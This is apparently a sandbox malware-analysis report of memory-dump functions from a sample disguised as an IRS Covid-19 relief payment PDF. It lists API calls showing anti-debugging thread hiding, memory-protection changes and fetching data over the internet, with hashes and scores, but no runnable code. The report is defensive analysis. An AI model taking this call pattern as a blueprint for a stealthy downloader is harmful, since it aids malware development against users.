Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T
API String ID: 543350213-3147410236
Opcode ID: dcb96f958bff3d5e90b8657f0dad9e57c2f5a5cc0725d9cec8bd926931805331
Instruction ID: 7157437e61219cf5d92715fb9be61a9491482b3e20d50feef546481e5c38c5c4
Opcode Fuzzy Hash: dcb96f958bff3d5e90b8657f0dad9e57c2f5a5cc0725d9cec8bd926931805331
Instruction Fuzzy Hash: E6413D707847029EEB046EB589663EF2F63BFE5354F648519EC435B2C5EBE19801C684

Uniqueness

Uniqueness Score: -1.00%

Function 005609BE, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 153
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00566A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 00560ABF

Strings

1.!T, xrefs: 00560A74

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T
API String ID: 543350213-3147410236
Opcode ID: c5f00e41eaf52f26a3293d1051e25d31893cd359a1fc46a26b2513047898ad0e
Instruction ID: c4ebe17b6f2047044411860b40873f1dffd73f29c14c89f76164dca86ea9ec4e
Opcode Fuzzy Hash: c5f00e41eaf52f26a3293d1051e25d31893cd359a1fc46a26b2513047898ad0e
Instruction Fuzzy Hash: EE4117202807028EEB086E7549663EF2F67BFE5785F944919EC435B2C9EBE29801C3C4

Uniqueness

Uniqueness Score: -1.00%

Function 00560A0D, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 137
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00566A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 00560ABF

Strings

1.!T, xrefs: 00560A74

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T
API String ID: 543350213-3147410236
Opcode ID: 5c4d5a41183a41a89ab320574770c435e4d2a77fbb80404580f941d6baedd211
Instruction ID: 04ec3b755eb971136f9f164ddf96224a6d4e162487ec0ca84aecfec7eebbddb2
Opcode Fuzzy Hash: 5c4d5a41183a41a89ab320574770c435e4d2a77fbb80404580f941d6baedd211
Instruction Fuzzy Hash: 404129307847028EEB086A7548663EF6F67BFE5385F584A19DC435B2C9EBE29801C7C4

Uniqueness

Uniqueness Score: -1.00%

Function 00560A4D, Relevance: 1.6, APIs: 1, Instructions: 126nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 00560ABF

Part of subcall function 00566A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadThread
String ID:
API String ID: 543350213-0
Opcode ID: d4529b9d66124321dd76b34e14f66acb728e23a0f06763169184753ff059c968
Instruction ID: 405c4833b041a3fee005f327aa0c4c082b651d0a0b935ea59d6257a8d1678cd4
Opcode Fuzzy Hash: d4529b9d66124321dd76b34e14f66acb728e23a0f06763169184753ff059c968
Instruction Fuzzy Hash: FF3138306847028EEB085A7548663EF2F77BFE1355F584569DC434B2D9EBE19801C7C4

Uniqueness

Uniqueness Score: -1.00%

Function 00568B05, Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,0056853E,00000040,00560A3F,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 00568B21

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 2229240f5f416fd22c3bd5b6d6417b2833a62eb4424814c2ad989dda4904048f
Instruction ID: 4a5feaa05eab9c8a2219e414b785f867e32f1cc28c92e62f58d93c91a6030e8b
Opcode Fuzzy Hash: 2229240f5f416fd22c3bd5b6d6417b2833a62eb4424814c2ad989dda4904048f
Instruction Fuzzy Hash: D1C012E06280002E79048A28CD48C2BB2AAC6D8B38B54C32CB872A26CCC930EC048132

Uniqueness

Uniqueness Score: -1.00%

Function 00567759, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`, xrefs: 005678F6

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-1850852036
Opcode ID: 1a947ebeedd7eed48e002d1621ec0579f10a3fc7c5c58b0d94980f90127e95c4
Instruction ID: 3a3316ad38b4a5861229921450aa584a488217a83c0ba797fa4a698ff1cc93e7
Opcode Fuzzy Hash: 1a947ebeedd7eed48e002d1621ec0579f10a3fc7c5c58b0d94980f90127e95c4
Instruction Fuzzy Hash: 81314B6454C60EDEEF3829588E797FE2D52FFD93A8E78882EDC8743011D7248884E943

Uniqueness

Uniqueness Score: -1.00%

Function 0056530D, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23

Strings

rX4, xrefs: 0056535F

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID: rX4
API String ID: 1029625771-805084833
Opcode ID: c44e211462aa4f0626d0dbc083a758d7bf494c9c45d7ffa94d69a90c555d313d
Instruction ID: 3e40cd18ee99d4423cdbca54241f9f2d9569401526560d4931d73a39a27e3239
Opcode Fuzzy Hash: c44e211462aa4f0626d0dbc083a758d7bf494c9c45d7ffa94d69a90c555d313d
Instruction Fuzzy Hash: 3011296418864AEFCB102EA49A357F92F62FF51365F74892ABCC3D3115DF748848B543

Uniqueness

Uniqueness Score: -1.00%

Function 00564B70, Relevance: 3.1, APIs: 2, Instructions: 135
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(000000FA,00000000,00000000,00000000,00000000,005618CA,00000000,?), ref: 00564BC9
InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00564CD4

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 6e24a6db88cd531317c92ac2151361c428ce792b0633d18be26a33c3715576bc
Instruction ID: f760870343e544df271f6af92327a122f6f13659ec4fbfda481a78f91f3c4d2e
Opcode Fuzzy Hash: 6e24a6db88cd531317c92ac2151361c428ce792b0633d18be26a33c3715576bc
Instruction Fuzzy Hash: AB41B57164034AEFEB319E14CD65BEE3BAABF45780F208425ED4A9B180E7718D949F11

Uniqueness

Uniqueness Score: -1.00%

Function 00564B74, Relevance: 3.1, APIs: 2, Instructions: 110networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(000000FA,00000000,00000000,00000000,00000000,005618CA,00000000,?), ref: 00564BC9
InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00564CD4

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 249f4e02c78396a4ee5f2f6a5e59f0058d592868a06a4e5030add295e9d3dcfc
Instruction ID: cc71c7d3a410ff771cccb8c323967d910a87ca34cbdaf6560ef18043c51f0362
Opcode Fuzzy Hash: 249f4e02c78396a4ee5f2f6a5e59f0058d592868a06a4e5030add295e9d3dcfc
Instruction Fuzzy Hash: B83105306403469FEB344E14CD65BEF3BAABF85740F208426EE4E9B180E7B18C84DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00569082, Relevance: 2.1, APIs: 1, Instructions: 574libraryfilenetworkCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID:
API String ID: 3342106106-0
Opcode ID: 1ca8ef07fd0ed1d737cb2cb56f51dd14589b9f74183efc657acb68d37cc8117d
Instruction ID: ae626ea2a6ae90dc24f376d1a5ac87483ea3be18453aac6439b4a13b4104c2d2
Opcode Fuzzy Hash: 1ca8ef07fd0ed1d737cb2cb56f51dd14589b9f74183efc657acb68d37cc8117d
Instruction Fuzzy Hash: 08025770600206AEEF245E10CD557FA2F66FF96360FA04A2AED865B2D4C3B64DC5DB42

Uniqueness

Uniqueness Score: -1.00%

Function 005690D4, Relevance: 1.7, APIs: 1, Instructions: 181libraryfilenetworkCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID:
API String ID: 3342106106-0
Opcode ID: 360a00fb3b7f6e2790259f7decd29c2b650b555f9644cdc6e6b2981222e5fb84
Instruction ID: 1a92a635d899b5829d04c1e67103dd3582dc1d106f434a7598430ce095b066d9
Opcode Fuzzy Hash: 360a00fb3b7f6e2790259f7decd29c2b650b555f9644cdc6e6b2981222e5fb84
Instruction Fuzzy Hash: 2751E734218346DEDF285E10C5203F93F6FBFA6361FA44E6AD8075B294D7B24884D742

Uniqueness

Uniqueness Score: -1.00%

Function 00569128, Relevance: 1.7, APIs: 1, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4f48a70230cd344dcd576849218660b33f002060fdbf9d6ded7685eac715b1b
Instruction ID: 1153bc2d6463b2e4aa2be3ca0635b5500965283569808bd9b35912a09091fd7f
Opcode Fuzzy Hash: d4f48a70230cd344dcd576849218660b33f002060fdbf9d6ded7685eac715b1b
Instruction Fuzzy Hash: 1341E234218346DEDF295E20C6643F53F9EBFA2360FA44A6AD8035B295D77248C4E642

Uniqueness

Uniqueness Score: -1.00%

Function 005692AA, Relevance: 1.7, APIs: 1, Instructions: 151libraryfilenetworkCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID:
API String ID: 3342106106-0
Opcode ID: 63f3cb8deec1cb6e8a5b9f4b9dcb630caad68f17838e5f79f51526a04dd1e140
Instruction ID: 063a018d7efab416a3ea19124481417bea846cec52e3813381aa1a18fd3f7c6e
Opcode Fuzzy Hash: 63f3cb8deec1cb6e8a5b9f4b9dcb630caad68f17838e5f79f51526a04dd1e140
Instruction Fuzzy Hash: 0E41BF24215741DEDB195E20C5203FA3FABFFA6762FA44A9AC4075B295DBF34880D782

Uniqueness

Uniqueness Score: -1.00%

Function 005691D6, Relevance: 1.6, APIs: 1, Instructions: 147libraryfilenetworkCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID:
API String ID: 3342106106-0
Opcode ID: 609f774f184ebf16b39b71f92ebaa897be183bf42f5188baf79d2a8f012cbfe3
Instruction ID: 772d108f1cf03ded27271cecc2d7674a7f3403b8135843d539de0799d3f580b0
Opcode Fuzzy Hash: 609f774f184ebf16b39b71f92ebaa897be183bf42f5188baf79d2a8f012cbfe3
Instruction Fuzzy Hash: 0641E438228346DEDF255E60C6643F43E9EBF67360FA44E5AD413672E1D77688C4E602

Uniqueness

Uniqueness Score: -1.00%

Function 00569215, Relevance: 1.6, APIs: 1, Instructions: 147libraryfilenetworkCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID:
API String ID: 3342106106-0
Opcode ID: 55b01d396b8d758fa7861cee949038e3980aaf1dea5ddbd6071c40f94e829143
Instruction ID: 891df46b70c83bcb916f3e7167de04089eecdf842a8612d3aabac14a37bee4ce
Opcode Fuzzy Hash: 55b01d396b8d758fa7861cee949038e3980aaf1dea5ddbd6071c40f94e829143
Instruction Fuzzy Hash: 97411334228346DEDF295E20C6203F53EAEFF62360FA44A5AD4435B2E1D7B248C1E742

Uniqueness

Uniqueness Score: -1.00%

Function 00569202, Relevance: 1.6, APIs: 1, Instructions: 144libraryfilenetworkCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID:
API String ID: 3342106106-0
Opcode ID: 32e81e23c80e8dc02efec3e27510c9b588950a27e9b9201dbbef27a403a77a5a
Instruction ID: 86f714a21ea8b052ec16f799f5376d7755ac9a7ea6ee298686efd17fb0d6d21f
Opcode Fuzzy Hash: 32e81e23c80e8dc02efec3e27510c9b588950a27e9b9201dbbef27a403a77a5a
Instruction Fuzzy Hash: C7410538228346DEDF295E60C6643F43E9EBF63360FA44E5AD403672E1D77688C4E602

Uniqueness

Uniqueness Score: -1.00%

Function 0056923E, Relevance: 1.6, APIs: 1, Instructions: 144libraryfilenetworkCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID:
API String ID: 3342106106-0
Opcode ID: e96c02214cffeb7a8f6bd9f9ddb970f8e66d3b36c132b4488bbd1a2dfd09c7c0
Instruction ID: 3a86071e279302c70f1efacf42d4e584ea0afccdd668783f3d924f319fc8fa47
Opcode Fuzzy Hash: e96c02214cffeb7a8f6bd9f9ddb970f8e66d3b36c132b4488bbd1a2dfd09c7c0
Instruction Fuzzy Hash: 5241D234218346DEDF295E20C6203F53EAFBFA6361FA44A6AD4075B295D7B288C4D742

Uniqueness

Uniqueness Score: -1.00%

Function 00569271, Relevance: 1.6, APIs: 1, Instructions: 137libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 340e05a283989263db5d3a9ab952494ae159cf5c832bde04b1bad3c9c66ef85e
Instruction ID: 9d8a7e5e25f8ab4340cd082662f5fe25c8acf94d3e1b78552722a049a20ae6fa
Opcode Fuzzy Hash: 340e05a283989263db5d3a9ab952494ae159cf5c832bde04b1bad3c9c66ef85e
Instruction Fuzzy Hash: 6741E334218346DEDF295E60C6603F53E9FBF62360FA44A5AD4035B2D5D77648C4D742

Uniqueness

Uniqueness Score: -1.00%

Function 005693D4, Relevance: 1.6, APIs: 1, Instructions: 127libraryfilenetworkCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID:
API String ID: 3342106106-0
Opcode ID: e370a0f8ad1e5953de38789ec43d647245367a91309a7a3a2774e90370bf17ca
Instruction ID: 44699d9c81de1eb9e32d5babf10333f1cb05a4f118db0cd94af86b2bec6e6c8e
Opcode Fuzzy Hash: e370a0f8ad1e5953de38789ec43d647245367a91309a7a3a2774e90370bf17ca
Instruction Fuzzy Hash: 8C31C020129340DEDB195E21C5203FA3FABFFA6762FA44A9AC4475B295D7F74880C7C2

Uniqueness

Uniqueness Score: -1.00%

Function 0056932C, Relevance: 1.6, APIs: 1, Instructions: 123libraryfilenetworkCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID:
API String ID: 3342106106-0
Opcode ID: cc29b6c13fb07db19535e583e8fcd1f6979b9a4b20988250390f4dfe6cd501fb
Instruction ID: fffbf8b68dd0b0b6f3de9aec8ecb80a9d269f18a3f772775fb04ffbec3bba627
Opcode Fuzzy Hash: cc29b6c13fb07db19535e583e8fcd1f6979b9a4b20988250390f4dfe6cd501fb
Instruction Fuzzy Hash: AE311434124345DEDF295E10C6143F53EAEFF62361FA44A9AC4075B2D0D7B248C0D782

Uniqueness

Uniqueness Score: -1.00%

Function 00569369, Relevance: 1.6, APIs: 1, Instructions: 115libraryfilenetworkCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID:
API String ID: 3342106106-0
Opcode ID: 29f28758e843caba96d9005983f08eefa2d1da8e3dd4142cfc347a52c6e25590
Instruction ID: 3ad98c0a960f42b2bea3f255ea3d9303e89f46d4414131c95f6dff0c1d8c69ac
Opcode Fuzzy Hash: 29f28758e843caba96d9005983f08eefa2d1da8e3dd4142cfc347a52c6e25590
Instruction Fuzzy Hash: A931E030228345DEEF295E60C6243F53EAEBF62320FA44A9AD4071B1E5D7B248C0D742

Uniqueness

Uniqueness Score: -1.00%

Function 00569396, Relevance: 1.6, APIs: 1, Instructions: 112libraryfilenetworkCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID:
API String ID: 3342106106-0
Opcode ID: 99add425602e3fa9e5df7223bcbc9f22c01da1d112acd416b34e683e7dfeb7c0
Instruction ID: d8dcafaad2f7dbaad9734c29384409ef98cc1efacb26e458f1918acefd0016c1
Opcode Fuzzy Hash: 99add425602e3fa9e5df7223bcbc9f22c01da1d112acd416b34e683e7dfeb7c0
Instruction Fuzzy Hash: 1431CF34225345DEDF285E60C6243F53EAEFFA6361FA44A9AD4171B2A4D7B248C0D782

Uniqueness

Uniqueness Score: -1.00%

Function 00566984, Relevance: 1.6, APIs: 1, Instructions: 104libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5e7df82e271f4aa752ae841b2f414784da683d7cffbef05ca9cb9fea7378201f
Instruction ID: 6adf68d48ea1d2fec3a948f90311ff6054d474cd1535088b00eaee32c84a080e
Opcode Fuzzy Hash: 5e7df82e271f4aa752ae841b2f414784da683d7cffbef05ca9cb9fea7378201f
Instruction Fuzzy Hash: 74317310185A04DED71CAF1590313FF6F67EBE8753BE4886AD8878B248EAD3581483C5

Uniqueness

Uniqueness Score: -1.00%

Function 0056945D, Relevance: 1.6, APIs: 1, Instructions: 94libraryfilenetworkCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID:
API String ID: 3342106106-0
Opcode ID: b3fe2ed0c4030ef4cb89f4a53392b5193e29acae797353e2de67667f4278fb84
Instruction ID: d2ea9410dfc03b68f97a5080fd1dcd1d125ae93779a859d2eba98bbe0e9ebe84
Opcode Fuzzy Hash: b3fe2ed0c4030ef4cb89f4a53392b5193e29acae797353e2de67667f4278fb84
Instruction Fuzzy Hash: 1921E034528345DEDF295E60C2243F53EAEBFA3370FA54A9AD4071B1A5D7B248C4D782

Uniqueness

Uniqueness Score: -1.00%

Function 0056822B, Relevance: 1.6, APIs: 1, Instructions: 91libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1168b1af084e666060e9b955c2d504874ff1ea1a6ba224758c3ae4d2bfeab618
Instruction ID: bdecb1c3c185211c91d9d2f4fd042345b61e7d304a4ac8587896a6732788087c
Opcode Fuzzy Hash: 1168b1af084e666060e9b955c2d504874ff1ea1a6ba224758c3ae4d2bfeab618
Instruction Fuzzy Hash: 98217C54644606DFCB1025619D393FA1E11FFA63E1F788F16ACA3C3195DB924844B6C3

Uniqueness

Uniqueness Score: -1.00%

Function 00564BDC, Relevance: 1.6, APIs: 1, Instructions: 89networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00564CD4

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: abfdf2907bad93654804ddedc258644e79c68de7e513d891fa717f8a4feb553b
Instruction ID: 15232c29b4a0d2012699e54819d0b505bf2f027e2a5053331939f08f4a697193
Opcode Fuzzy Hash: abfdf2907bad93654804ddedc258644e79c68de7e513d891fa717f8a4feb553b
Instruction Fuzzy Hash: 3F31D5302443469FEB348E14DD65BFF3BAABF85740F608425EE5A8B180EBB29C549F51

Uniqueness

Uniqueness Score: -1.00%

Function 00560000, Relevance: 1.6, APIs: 1, Instructions: 82libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ccf04cc4411636203bf9fddc1ded559ae05ad427a36cc148741a07955f0c4fcd
Instruction ID: f4c71ecccf70560342d40f43f63a47bc432f63cfb48cedf9742e525c0e941503
Opcode Fuzzy Hash: ccf04cc4411636203bf9fddc1ded559ae05ad427a36cc148741a07955f0c4fcd
Instruction Fuzzy Hash: 3A11575854C706EADE3031649A397FF0E65FE53364F70AD17ACC3A3092DA618889B083

Uniqueness

Uniqueness Score: -1.00%

Function 005694FA, Relevance: 1.6, APIs: 1, Instructions: 79libraryfilenetworkCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 00566C23
InternetReadFile.WININET(00000004), ref: 00569733

Memory Dump Source

Source File: 00000002.00000002.1000532490.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_560000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: FileInternetLibraryLoadRead
String ID:
API String ID: 3342106106-0
Opcode ID: ed3a2da8a773627d179d0a3de1a739ae587455eba54da81b5eb0cb0e06ab7a07
Instruction ID: 8232057123834c4a8294acaf17c4b5c63d8e16e1ca41a076ee20a2145538c36a
Opcode Fuzzy Hash: ed3a2da8a773627d179d0a3de1a739ae587455eba54da81b5eb0cb0e06ab7a07
Instruction Fuzzy Hash: 6B21AE34624341DEEB294E24C1243F53EAEFFA3760FA54A9AC4470B1A4D7B648C4C782

Uniqueness

Uniqueness Score: -1.00%

Function 00564C21, Relevance: 1.6, APIs: 1, Instructions: 77networkCOMMON

Download Yara Rule

APIs

